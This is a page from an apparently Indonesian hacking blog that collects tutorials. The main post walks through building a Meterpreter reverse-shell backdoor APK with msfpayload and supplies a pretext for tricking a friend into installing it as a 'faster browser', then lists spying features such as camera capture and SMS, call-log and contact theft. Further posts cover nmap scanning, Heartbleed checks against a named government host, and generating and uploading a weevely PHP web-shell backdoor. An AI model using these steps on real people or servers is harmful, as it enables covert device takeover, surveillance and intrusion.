DarkSUSE: Cyber Security

Mengambil alih android dengan sebuah backdoor apk

<a href="http://darksuse.blogspot.com/" target="_blank">DarkSUSE</a> ~ Assalaamualaikum Wr.Wb. 
Selamat pagi/siang/sore sahabat DS! Apakabar kalian semua? Pada kesempatan kali ini, <a href="http://darksuse.blogspot.com/" target="_blank">DarkSUSE</a> akan menjelaskan cara melakukan penetrasi dengan membuat apk palsu untuk sebuah android. Sebelumnya artikel ini hanyalah sebuah pembelajaran untuk kita semua, agar lebih berhati-hati saat menginstall apk yang bukan berasal dari developer resminya. 
 
Ok, kita mulai dengan bahan-bahan yang dibutuhkan untuk melakukan semua itu. Kami menggunakan: 
 
1. Linux Operating System (Ubuntu 14.04). 
2. Metasploit Framework (Sudah saya install/clone dari git). 
3. Gadget Milik saya pribadi untuk membuat sebuah hotspot. 
4. Target + Gadget. 
5. Sebuah alasan yang harus anda buat agar target percaya. 
 
NB: Untuk nomor 3, yang terpenting adalah anda dan target berada dalam satu jaringan yang sama. 
 
Ok! Apabila anda sudah memiliki semua yang dibutuhkan, kita akan melakukan inti dari artikel ini. 
Pertama anda harus mengetahui IP local anda. Ingat BUKAN IP PUBLIC! 
 
IP kami: 192.168.43.179 
 
Caranya adalah dengan menggunakan perintah 
 
<pre>~$ ifconfig</pre>
 
 
Setelah anda mengetahui IP anda, masukan perintah berikut ini: 
 
<pre>~$ msfpayload android/meterpreter/reverse_tcp LHOST=IP_ANDA LPORT=4444 R > /var/www/html/browser_baru.apk</pre>
 
 
Sehingga file apk nya akan digenerate ke directory yang digunakan agar target mendownload apk tersebut melalui http://IP_Kita/nama_apk.apk. Lalu setelah itu saat target anda meminta password portable hotspot kita, kita suruh dia agar mendownload. (kami tidak menggunakan ini, namun kami mengirimkan file apk kami melalui bluetooth kepada target). 
 
Alasan yang kami gunakan: 
"Bro, cobain sekalian browser baru nih buatan gw. Lebih cepet loh kalau make browser ini." 
 
Ok, sembari menunggu dia mendownload apk kita, kita jalankan perintah berikut: 
 
<pre>~$ msfconsole

~$ use exploit/multi/handler

~$ use PAYLOAD android/meterpreter/reverse_tcp

~$ set LHOST 192.168.43.179

~$ set LPORT 4444</pre>
 
 
Seperti gambar dibawah ini: 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9HCoEsc4VwUbqdpDXpUdiLXBhFVFfA9brohculYdOQISXedziuCxc8VbEwWOC9J-r35MUmLfoRZZk8NzUwKOa2uw1_pX4e__rNscao1n__2ve_IYXIvkgI1IB07DFo2Cp2LgEkbp_-f4_/s1600/Screenshot+-+150515+-+08:07:05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9HCoEsc4VwUbqdpDXpUdiLXBhFVFfA9brohculYdOQISXedziuCxc8VbEwWOC9J-r35MUmLfoRZZk8NzUwKOa2uw1_pX4e__rNscao1n__2ve_IYXIvkgI1IB07DFo2Cp2LgEkbp_-f4_/s640/Screenshot+-+150515+-+08:07:05.png" width="640" /></a></div>
<div style="text-align: center;">
 </div>
 
Setelah sudah siap masukan perintah berikutnya yaitu: 
 
<pre>~$ exploit</pre>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd5ZY0toSBMbfhMUMumhMlANKFSMQaXJdbivRrQmnhxGLQIopPkcVl268ejqC6kOZ0lG2PBerBfLbMAegWr8PGnkMUH2It4uu-cFSXdEOOmi4xvxNETw5q8LEq8tMzRPc5KyKBVJaJxdYY/s1600/Screenshot+-+150515+-+08:09:13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd5ZY0toSBMbfhMUMumhMlANKFSMQaXJdbivRrQmnhxGLQIopPkcVl268ejqC6kOZ0lG2PBerBfLbMAegWr8PGnkMUH2It4uu-cFSXdEOOmi4xvxNETw5q8LEq8tMzRPc5KyKBVJaJxdYY/s640/Screenshot+-+150515+-+08:09:13.png" width="640" /></a></div>
<div style="text-align: center;">
 </div>
 
Lalu tunggu hingga target eksekusi file installan dari apk kita. Dan jangan lupa berdoa agar semua berhasil. Hehehe... 
 
Apabila target telah mengeksekusinya maka terlihat data interaksi seperti gambar dibawah ini: 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhL8iRS1HTDS2e-WFrr32apYBaCPpt8l3xjVM8S0aLm_5sfHoDf-GfUYDO2u4RWSWye2es7UJNeQydzahFRWAHrJQCwgUASkiPyiQ1PArs84N9_mRMeV5-rojnGiMvtyQWhQs-zP6gWDZh/s1600/Screenshot+-+150515+-+08:45:51.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhL8iRS1HTDS2e-WFrr32apYBaCPpt8l3xjVM8S0aLm_5sfHoDf-GfUYDO2u4RWSWye2es7UJNeQydzahFRWAHrJQCwgUASkiPyiQ1PArs84N9_mRMeV5-rojnGiMvtyQWhQs-zP6gWDZh/s640/Screenshot+-+150515+-+08:45:51.png" width="640" /></a></div>
<div style="text-align: center;">
 </div>
 
Setelah itu kita dapat melakukan apapun yang kita inginkan (selama koneksi kita dengan target tidak terputus). Dalam hal ini kami mengupload sebuah file txt pada penyimpanan data (bluetooth) si target. File tersebut bernama "p0wn3d.txt". Berikut kumpulan gambar nya, karena capek ngetik terus. Hahahahaha 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjErC3lrOraHZnbF0Yd_xUmIaRnPMq67Wq9wMGMhVhNaRlXnVsY5Jy8mPK8t1UPgkoUyRLqBq9rvqsEIOLcowTGFKsqRGlIY_7eh5nIDnpgsEmqr3eWvHSBuQMkPOLB1hUJJIhjGrhHZzE7/s1600/Screenshot+-+150515+-+08:49:53.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="235" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjErC3lrOraHZnbF0Yd_xUmIaRnPMq67Wq9wMGMhVhNaRlXnVsY5Jy8mPK8t1UPgkoUyRLqBq9rvqsEIOLcowTGFKsqRGlIY_7eh5nIDnpgsEmqr3eWvHSBuQMkPOLB1hUJJIhjGrhHZzE7/s640/Screenshot+-+150515+-+08:49:53.png" width="640" /></a></div>
<div style="text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOJ_jYN3ZA9bRYGcpfOaiijlWA_osdMRu5gFuQfAp0dd_JSAOiOD4UwfwWt52flhxw6lhDpSlyp2kYdBJ1c_c684expDrYMbHF4WeOzmdu-BsGy-y8Dv0JrzysRuXPG31Wak5GAlk7jkuV/s1600/Screenshot+-+150515+-+08:52:34.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOJ_jYN3ZA9bRYGcpfOaiijlWA_osdMRu5gFuQfAp0dd_JSAOiOD4UwfwWt52flhxw6lhDpSlyp2kYdBJ1c_c684expDrYMbHF4WeOzmdu-BsGy-y8Dv0JrzysRuXPG31Wak5GAlk7jkuV/s640/Screenshot+-+150515+-+08:52:34.png" width="640" /></a></div>
<div style="text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLrh4yqWcs-_G1QxpTrh8Fsts0aFbkytoS71yazhONYRoTSiCzBFbrFjIDkjNWCc5cjZID4lUJyCP3LgwXs6uDG4TmVbZ4GyIGAIeXhCOTb5ktcsnnBVefg-w-kTH-_yOzW-MnIemjZ05-/s1600/Screenshot+-+150515+-+09:00:30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLrh4yqWcs-_G1QxpTrh8Fsts0aFbkytoS71yazhONYRoTSiCzBFbrFjIDkjNWCc5cjZID4lUJyCP3LgwXs6uDG4TmVbZ4GyIGAIeXhCOTb5ktcsnnBVefg-w-kTH-_yOzW-MnIemjZ05-/s640/Screenshot+-+150515+-+09:00:30.png" width="640" /></a></div>
<div style="text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTmvrBcfDQG2460PR697WyN5ygzDa7DlDxafaQgxeGGH-Hl8hFVkI8hzJOQK9FRF8Uvm1ChBnKMKZm94gwzxVHGf6sqHLMjlvdNrsRvU93YvcTBwI8dXkZzRtFa2TQ_86KLxhNR2kY-jIX/s1600/Screenshot+-+150515+-+10:29:19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTmvrBcfDQG2460PR697WyN5ygzDa7DlDxafaQgxeGGH-Hl8hFVkI8hzJOQK9FRF8Uvm1ChBnKMKZm94gwzxVHGf6sqHLMjlvdNrsRvU93YvcTBwI8dXkZzRtFa2TQ_86KLxhNR2kY-jIX/s640/Screenshot+-+150515+-+10:29:19.png" width="640" /></a></div>
 
 
Edited for Tambahan: 
Tak hanya dapat melakukan download dan upload, masih banyak yang dapat dilakukan oleh yang memraktekan seperti capture kamera depan, capture kamera belakang, mengecek apakah gadget tersebut sudah diroot atau belum, mengambil sms record, mengambil call record, contacts data yang ada diHP target, dll. Anda dapat melihat apa saja yang dapat dilakukan dengan mengetikan: 
<pre>meterpreter > help</pre> 
 
Ok, mungkin sekian dulu artikel kali ini. Semoga bermanfaat untuk semua sahabat DS. Jangan percaya terhadap aplikasi android yang diminta diinstall oleh teman anda sendiri, sekalipun itu adalah sahabat anda sendiri. Karena semakin anda percaya kepada seseorang, semakin mudah anda terkena teknik ini. 
 
Assalamualaikum Wr.Wb

Mengambil alih android dengan sebuah backdoor apk

DarkSUSE ~ Assalaamualaikum Wr.Wb. Selamat pagi/siang/sore sahabat DS! Apakabar kalian semua? Pada kesempatan kali ini, DarkSUSE akan men...

Trik Nmap Yang Harus Anda Coba! (Part 2)

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIXebMVm4nXDET420IOMcSooubtNV1_OMCQDYXaUkLbZbFowRW6K4XOgpBLLJzibNfzIUMH36hk4zkv6hwnSsB6cC6caT3ErwLUpc1m6HU87I8ZSzY7ihInwBAkwQXiteZxprHBuxb9VLj/s1600/LOGO_Nmap.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIXebMVm4nXDET420IOMcSooubtNV1_OMCQDYXaUkLbZbFowRW6K4XOgpBLLJzibNfzIUMH36hk4zkv6hwnSsB6cC6caT3ErwLUpc1m6HU87I8ZSzY7ihInwBAkwQXiteZxprHBuxb9VLj/s1600/LOGO_Nmap.jpg" /></a></div>
 
~# <a href="http://darksuse.blogspot.com/">DarkSUSE</a> - Assalaamualaikum Wr.Wb 
 
Selamat malam teman-teman semua, pada postingan kali ini saya akan membahas kelanjutan dari postingan <a href="http://darksuse.blogspot.com/2014/04/trik-nmap-yang-harus-anda-coba-part-1.html">Trik Nmap Yang Harus Anda Coba! (Part 1).</a> 
 
Ok, Kita langsung saja ya ketahap berikutnya adalah: 
 
4.  Ping IP-Address menggunakan limit/kisaran. 
 <code>
$ nmap -sP 192.168.1.50-254 
 </code>
Ini dikarenakan nmap dirancang untuk dapat menerima sekala besar dalam hal "addressing" dan juga, nmap dapat scan 2 target sekaligus. 
 
5. Cara mencari IP yang tak terpakai dengan tambahan subnet. 
 <code>
$ nmap -T4 -sP 192.168.2.0/24 && egrep “00:00:00:00:00:00″ /proc/net/arp </code>
 
 
6. Cara scanning Conficker virus di Jaringan LAN ataupun lainnya. 
 <code>
$ nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1 192.168.0.1-254 </code>
 
ganti 192.168.0.1 dengan IP yang ingin anda scan. Ini juga menggunakan kisaran seperti nomor 4 lho... :D 
 
7. Melihat ada berapa Device Linux dan Windows yang ada dalam satu Network dengan anda. 
 <code>
$ nmap -F -O 192.168.0.1-255 | grep “Running: ” > /tmp/os; echo “$(cat /tmp/os | grep Linux | wc -l) Linux device(s)”; echo “$(cat /tmp/os | grep Windows | wc -l) Window(s) devices” </code>
 
Naah mungkin sekian saja yang pernah saya coba. Apabila ada kekurangan mohon dimaafkan ;) 
Saatnya saya pamit. Sampai jumpa di tutorial selanjutnya. :D 
.Jaster.

Trik Nmap Yang Harus Anda Coba! (Part 2)

~# DarkSUSE - Assalaamualaikum Wr.Wb Selamat malam teman-teman semua, pada postingan kali ini saya akan membahas kelanjutan dari posti...

Trik Nmap Yang Harus Anda Coba! (Part 1)

~# <a href="http://darksuse.blogspot.com/">DarkSUSE</a> - Assalaamualaikum Wr.Wb. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTaVgCTsbsA5mbNoxEguCm201NPIRN0HwnDXiDn1Wf4Ej36FJYUOKbngntvGyjMiHfMWBrT9346K9ltS3VSuF4OXV3smcWwmtXUylWNYyUuxUI9zhptXswkLbtInsxz77xtIdIRIF98oDR/s1600/LOGO_Nmap.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTaVgCTsbsA5mbNoxEguCm201NPIRN0HwnDXiDn1Wf4Ej36FJYUOKbngntvGyjMiHfMWBrT9346K9ltS3VSuF4OXV3smcWwmtXUylWNYyUuxUI9zhptXswkLbtInsxz77xtIdIRIF98oDR/s1600/LOGO_Nmap.jpg" /></a></div>
 
Pada postingan kali ini saya akan share sedikit trick dari penggunaan Nmap yang mungkin kebanyakan dari kalian yang memiliki hobby sebagai pentester sudah mengetahuinya. 
 
Nah ok, langsung saja: 
 
1. Mencari Info tentang remote host, ports, dan deteksi OS. 
 
$ nmap -sS -p0 -sV -O target 
 
target bisa berupa IP/hostname/subnet 
Rincian: 
-sS = TCP SYN scanning. 
-p0 = non-aktifkan ICMP Pings. 
-sV = meng-aktifkan Pendeteksi Version. 
-O = mengidentifikasi sistem operasi yang digunakan. 
 
Anda bisa juga menggunakan option lain yaitu -A untuk mengaktifkan fingerprinting dan pendeteksi versi secara bersamaan. 
-v dapat digunakan 2x untuk verbosity. 
 
hasilnya: 
$ nmap -sS -p0 -A -v target 
 
2. Mendapatkan server list disertai dengan Port yang terbuka 
 
$ nmap -sT -p 80 -oG – 192.168.1.* | grep open 
 
ganti argumen  -p dengan nomor port yang dituju. Anda bisa melihat "man nmap" untuk yang lebih spesifik. 
 
3. Mencari semua alamat IP yang aktif di network. 
 
$ nmap -sP 192.168.0.1* 
 
atau bisa juga menggunakan: 
 
$ nmap -sP 192.168.0.1/24 
 
untuk fokus kepada subnet. 
 
 
Ok, mohon maaf hanya segini dulu saja ya... karena sudah terlalu malam, saya ngantug. Sampai jumpa di part ke-2 nya :D 
 
.Jaster.

Trik Nmap Yang Harus Anda Coba! (Part 1)

~# DarkSUSE - Assalaamualaikum Wr.Wb. Pada postingan kali ini saya akan share sedikit trick dari penggunaan Nmap yang mungkin kebanyak...

Cara Test Heartbleed SSL Bug

~# <a href="http://darksuse.blogspot.com/">DarkSUSE</a> - Assalaamualaikum Wr.Wb 
 
Pada postingan kali ini, saya akan membahas "Cara Test Heartbleed SSL Buh". oh yeah. Saat ini bug tersebut ramai dibicarakan di dunia cyber. Sekarang saya akan menunjukan mudahnya test Vuln tersebut :D 
 
 
Tools yang anda butuhkan: 
<ul>
<li><a href="https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse">ssl-heartbleed.nse</a></li>
<li><a href="https://svn.nmap.org/nmap/nselib/tls.lua">tls.lua</a> </li>
</ul>
 
Bagaimana cara mendownloadnya? anda bisa menggunakan manual copy-paste kedalam vim/gedit/ text editor lainnya pada linux anda. Pada tutorial kali ini, saya menggunakan Kali Linux sebagai Operating System saya. Save script tersebut dengan nama yang sama seperti yang saya tulis diatas!. Dan save kedalam directory/folder: 
 
usr/share/nmap/scripts/ >> save ssl-hearbleed.nse disini. 
usr/share/nmap/nselib/ >> save tls.lua at disini. 
 
Atau anda bisa menggunakan cara lain yaitu dengan menggunakan command pada linux terminal anda. Berikut command nya: 
 
<code>$ cd /usr/share/nmap/scripts/ 
$ wget wget https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse</code> 
 
Lalu 
 
<code>
$ cd ../ 
$ cd nselib 
$ wget wget https://svn.nmap.org/nmap/nselib/tls.lua</code> 
 
Setelah selesai kita haruslah meng-update nmap dbase dengan menggunakan command: 
 
<code>
$ nmap --script-updatedb</code> 
 
Ok, Selanjutnya "It should begin" :D 
Let's go!! 
 
Buka terminal anda, kemudian lakukan command seperti berikut: 
 
<code>
$ nmap -sV -p 443 --script=ssl-heartbleed.nse IP_Target</code> 
 
Apabila hasilnya seperti dibawah ini: 
 
<code>
Starting Nmap 6.40 ( http://nmap.org ) at 2014-04-24 22:51 PDT Nmap scan report for mail.bppt.go.id (202.151.11.202) Host is up (0.27s latency). rDNS record for 202.151.11.202: zsmtp-out1.bppt.go.id PORT    STATE SERVICE VERSION 443/tcp open  http    nginx Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.63 seconds</code> 
 
Itu artinya tidak vuln terhadap bug heartbleed. :D 
 
Namun apabila anda meihat hasil seperti gambar dibawah ini: 
  
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhgOmCQ8CViivT36lRml5Inu1BtXDIixoVQGgJshRUr7OtQ4jH8LEufC2C9QvmmRPqQOxhWbdpQsWqewpHq1EGwDjTwu9kLeUrG21ed8HXYquyDEhZnSMi6SSX2qiNFCELPZtvEyNCYDi9/s1600/heartbleed-nmap.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="374" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhgOmCQ8CViivT36lRml5Inu1BtXDIixoVQGgJshRUr7OtQ4jH8LEufC2C9QvmmRPqQOxhWbdpQsWqewpHq1EGwDjTwu9kLeUrG21ed8HXYquyDEhZnSMi6SSX2qiNFCELPZtvEyNCYDi9/s1600/heartbleed-nmap.png" width="640" /></a></div>
 
Itu artinya site yang anda test memiliki Heartbleed Bug. Selamat! :D 
 
Ok, Saya rasa kalian semua dapat meng-eksplorasi lebih jauh dibandingkan dengan saya. Jadi, Saya harus mengucapkan "Sampai Jumpa" pada tutorial/post yang berbeda :D 
 
Assalamualaikum :D 
.Jaster .

Cara Test Heartbleed SSL Bug

~# DarkSUSE - Assalaamualaikum Wr.Wb Pada postingan kali ini, saya akan membahas "Cara Test Heartbleed SSL Buh". oh yeah. Saat ...

How to Test HeartBleed [English Version]

~# <a href="http://darksuse.blogspot.com/">DarkSUSE</a> - Assalaamualaikum Wr.Wb 
 
In this post, i will tell you "How to Test HeartBleed". oh yeah. Nowadays this bug is so mainstream in this cyberworld. Now i'll show you how easy to check this vulnerability. :D 
 
 
You need this: 
<ul>
<li><a href="https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse">ssl-heartbleed.nse</a></li>
<li><a href="https://svn.nmap.org/nmap/nselib/tls.lua">tls.lua</a> </li>
</ul>
 
How to Download it? you can use manual copy-paste that script to your vim/gedit/ some text editor that you used in linux. In this tutorial i used Kali Linux as my Operating System. Save that script with the same name as i type up there!. And save it into dir: 
usr/share/nmap/scripts/ >> save ssl-hearbleed.nse at here. 
usr/share/nmap/nselib/ >> save tls.lua at here. 
 
or all of you can use another options with command in linux terminal: 
 
<code>$ cd /usr/share/nmap/scripts/ 
$ wget wget https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse</code> 
 
and 
 
<code>
$ cd ../ 
$ cd nselib 
$ wget wget https://svn.nmap.org/nmap/nselib/tls.lua</code> 
 
Then the final of preparing tools, if you've done that, you must to update your nmap dbase with this command: 
 
<code>
$ nmap --script-updatedb</code> 
 
Ok, then "It should begin" :D 
Let's go!! 
 
Open your terminal, and then type this 
 <code>
$ nmap -sV -p 443 --script=ssl-heartbleed.nse IP_Target</code> 
 
If the result like this: 
 <code>
Starting Nmap 6.40 ( http://nmap.org ) at 2014-04-24 22:51 PDT Nmap scan report for mail.bppt.go.id (202.151.11.202) Host is up (0.27s latency). rDNS record for 202.151.11.202: zsmtp-out1.bppt.go.id PORT    STATE SERVICE VERSION 443/tcp open  http    nginx Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.63 seconds</code>   
It means it is not vuln. :D 
 
But if you see like this image below: 
  
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhgOmCQ8CViivT36lRml5Inu1BtXDIixoVQGgJshRUr7OtQ4jH8LEufC2C9QvmmRPqQOxhWbdpQsWqewpHq1EGwDjTwu9kLeUrG21ed8HXYquyDEhZnSMi6SSX2qiNFCELPZtvEyNCYDi9/s1600/heartbleed-nmap.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="374" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhgOmCQ8CViivT36lRml5Inu1BtXDIixoVQGgJshRUr7OtQ4jH8LEufC2C9QvmmRPqQOxhWbdpQsWqewpHq1EGwDjTwu9kLeUrG21ed8HXYquyDEhZnSMi6SSX2qiNFCELPZtvEyNCYDi9/s1600/heartbleed-nmap.png" width="640" /></a></div>
 
it means the site that you entered is vulnerable with Heartbleed Bug. Congratulation. :D 
 
Ok, i think you can explore more then me. So, i must to say "See you again" in the different tutorial/post :D 
 
Assalamualaikum :D 
.Jaster .

How to Test HeartBleed [English Version]

~# DarkSUSE - Assalaamualaikum Wr.Wb In this post, i will tell you "How to Test HeartBleed". oh yeah. Nowadays this bug is so m...

Koneksi ke victim dengan menggunakan stealth backdoor pada weevely!

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi94z8Yi5rQy7f1uI5j_-b3XVXNNdvHn8d2erxkmaKSjr5PRyjuX6rG5I7hH5pjtQ1QtDpyK2zdur_Eb-h4P4anXDwK4BP47Sr1HGFeSX5707BW7S9NW_uO8g6VpppYmzYUCNSKhE7J4Jfi/s1600/Screenshot+from+2013-11-10+22:16:15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi94z8Yi5rQy7f1uI5j_-b3XVXNNdvHn8d2erxkmaKSjr5PRyjuX6rG5I7hH5pjtQ1QtDpyK2zdur_Eb-h4P4anXDwK4BP47Sr1HGFeSX5707BW7S9NW_uO8g6VpppYmzYUCNSKhE7J4Jfi/s400/Screenshot+from+2013-11-10+22:16:15.png" width="400" /></a></div>
 
Kali ini kita akan mencba membuat back conect/bindshell dengan menggunakan weevely. Seperti gambar diatas, itu adalah tampilan yang saya ambil dari desktop saya saat membuka weevely dengan command: 
 
<blockquote class="tr_bq">
<code>weevely</code></blockquote>
Selanjutnya kita akan meihat beberapa fitur deeri weevely yang tersedia. Dan distiu anda akan melihat fitur weevely backdoors yang akan kita gunakan. Maka anda ketikkan perintahcommand seperti ini: 
<blockquote class="tr_bq">
weevely generate phobos549 /home/m0nster.php</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGp_DysKZ_66MSDqsAQyNxO1LwwGzMyfrAhpqt6rGSIxYfamLYYOWAZWQRA2s_xixk_zfUxxbkjXP4uNKNDF9G6YXdudN0ooEX06NRUc8ewuwgEwP6qHmLgKSulCtooYPo0ZUCgu1O3HEK/s1600/Screenshot+from+2013-11-10+22%253A19%253A06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="315" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGp_DysKZ_66MSDqsAQyNxO1LwwGzMyfrAhpqt6rGSIxYfamLYYOWAZWQRA2s_xixk_zfUxxbkjXP4uNKNDF9G6YXdudN0ooEX06NRUc8ewuwgEwP6qHmLgKSulCtooYPo0ZUCgu1O3HEK/s400/Screenshot+from+2013-11-10+22%253A19%253A06.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
Untuk phobos549 adalah password yang mau saya gunakan. Dan  /home/m0nster.php adalah /home/ direcory/folder /root/home/ anda dan m0nster.php adalah nama file backdoor saya.  Dibawah ini gambarnya agar kalian bisa melihat nya langsung. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj-2yHop6MG73EFvBp45Ih2_lhJJgr5nHT6FF9PyRpdg2tEMqGSPvL-SISFHrWn5wDYIhnnubl0J5lfpAvs6vnwcfmE2J2dgY8qkjr7ge1ngY6_TscktlzssKy1bowets2-c2WxpHI0BEs/s1600/Screenshot+from+2013-11-10+22:19:15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="318" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj-2yHop6MG73EFvBp45Ih2_lhJJgr5nHT6FF9PyRpdg2tEMqGSPvL-SISFHrWn5wDYIhnnubl0J5lfpAvs6vnwcfmE2J2dgY8qkjr7ge1ngY6_TscktlzssKy1bowets2-c2WxpHI0BEs/s400/Screenshot+from+2013-11-10+22:19:15.png" width="400" /></a></div>
<div class="" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7y8dFJuKtj6IZMH9A5khDTqD8BHnDFDl5lyNt57onNwaiQ9E8mR3beklZ9I1jEu_J_jGOQ00au740LDpAH3gdZuiJ4I3UukMEoKx9B8V5VdA8WZy6xv5tJ3owGcuaHrC_8gKMF79n5y46/s1600/Screenshot+from+2013-11-10+22:23:57.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7y8dFJuKtj6IZMH9A5khDTqD8BHnDFDl5lyNt57onNwaiQ9E8mR3beklZ9I1jEu_J_jGOQ00au740LDpAH3gdZuiJ4I3UukMEoKx9B8V5VdA8WZy6xv5tJ3owGcuaHrC_8gKMF79n5y46/s400/Screenshot+from+2013-11-10+22:23:57.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="" style="clear: both; text-align: left;">
Disitu (gambar diatas) terlihat sekali bahwa m0nster.php sudah berhasil kita buat dan kini saya membuka shell yang sudah saya tanamkan kedalam website, dan mengupload m0nster.php seperti gambar dibawah ini:</div>
<div class="" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijTV1CwKh5BL3Ap-d6p10hyphenhyphenjFzbRHHafUqFwEz4M7ueYfuENjxQ4tSMkBQrpnmrgwg6UaV5ctXPQyaW6w5xYAHJrpdSNZKp2nvXN_MLix9rQc5U6m-Cp5FXvLXk8KQlSt4JHC2IxLoQhMV/s1600/Screenshot+from+2013-11-10+22:24:31.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijTV1CwKh5BL3Ap-d6p10hyphenhyphenjFzbRHHafUqFwEz4M7ueYfuENjxQ4tSMkBQrpnmrgwg6UaV5ctXPQyaW6w5xYAHJrpdSNZKp2nvXN_MLix9rQc5U6m-Cp5FXvLXk8KQlSt4JHC2IxLoQhMV/s400/Screenshot+from+2013-11-10+22:24:31.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfAznuRWim6aCnThaIpMaNSDohf9Ima-cBOQXsMOm2SggmU4VQISkbYLiTKyWlvvVRr3_Iy4V3Reqf2QoZZfaV2QyHPCNQX8VRg38s3maY-Ect1jnWMTUa98_DGxh63IzmNhn61yS38vhr/s1600/Screenshot+from+2013-11-10+22:25:11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfAznuRWim6aCnThaIpMaNSDohf9Ima-cBOQXsMOm2SggmU4VQISkbYLiTKyWlvvVRr3_Iy4V3Reqf2QoZZfaV2QyHPCNQX8VRg38s3maY-Ect1jnWMTUa98_DGxh63IzmNhn61yS38vhr/s400/Screenshot+from+2013-11-10+22:25:11.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
Nahhh... Terlihat jelas bahwa m0nster.php sudah terupload kedalam server. Saatnya kita mengaksesnya melalui weevely! ketikkan </div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<blockquote class="tr_bq">
